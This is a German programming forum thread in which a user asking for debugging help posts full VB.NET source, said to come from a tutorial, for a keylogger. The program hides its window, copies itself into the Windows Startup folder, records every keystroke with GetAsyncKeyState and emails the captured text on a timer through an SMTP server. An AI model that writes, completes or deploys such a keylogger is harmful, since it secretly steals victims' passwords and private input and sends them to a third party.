Debugging

Habe dieses Problem. Habe schon VB neuinstalliert sowie auf meinem Laptop installiert.
Wisst ihr hilfe ?
Danke im vorraus

kuhkuh schrieb:

Und vom Syntax her ist alles richtig?
Keine Fehler?

syntax mehrmals neu geschrieben und überprüft. fehlerfrei.
der pfad ist auch korrekt

kuhkuh schrieb:

Lad das Project mal hoch und poste den Link hier oder via PM.

http://uploaded.to/file/3sei5fjh

Hab das alle genau wie im Tutorial gemacht.
Falls du fragst warum ich soein programm schreibe, nur so zum lernen ^,^

ZyuRoX schrieb:

http://uploaded.to/file/3sei5fjh

Hab das alle genau wie im Tutorial gemacht.
Falls du fragst warum ich soein programm schreibe, nur so zum lernen ^,^

[cs]Imports System.Net.Mail
Public Class Form1
Dim autostartpfad As String = Application.ExecutablePath
Dim autostartpfad1 As String = Environment.GetFolderPath(Environment.SpecialFolder.Startup) & "/" & IO.Path.GetFileName(autostartpfad)
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Integer) As Integer ' AUF GROSS UND KLEINSCHREIBUNG ACHTEN !
Dim erhaltenerText As New RichTextBox
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Me.Opacity = 0.01
Me.ShowInTaskbar = False
Try
IO.File.Copy(autostartpfad, autostartpfad1)
Catch ex As Exception
End Try
End Sub
Private Function getkeypress() As Integer
For a As Integer = 1 To 255
If GetAsyncKeyState(a) = -32767 Then
Return (a)
End If
Next
End Function

Sub Abschicken()
Dim smtpserver As New SmtpClient
Dim email As New MailMessage
smtpserver.Credentials = New Net.NetworkCredential("[email protected]", "deinpasswort") ' AUF GROSS UND KLEINSCHREIBUNG DER E-MAIL UND DES PASSWORTES ACHTEN !
smtpserver.Port = 25
smtpserver.Host = "smtp.web.de" ' AUF GROSS UND KLEINSCHREIBUNG ACHTEN !
email = New MailMessage
email.From = New MailAddress("[email protected]") ' AUF GROSS UND KLEINSCHREIBUNG ACHTEN !
email.To.Add("[email protected]") ' AUF GROSS UND KLEINSCHREIBUNG ACHTEN !
email.Subject = "Betreff"
email.Body = erhaltenerText.Text
smtpserver.Send(email)
End Sub

Private Sub Senden_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Senden.Tick
Abschicken()
End Sub

Private Sub Tasten_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Tasten.Tick
Dim key As Integer = getkeypress()
If key <> 0 Then
erhaltenerText.Text = erhaltenerText.Text & CStr(Chr(key))
End If
End Sub
End Class[/cs]

_______________________
quelltext aus dem TuT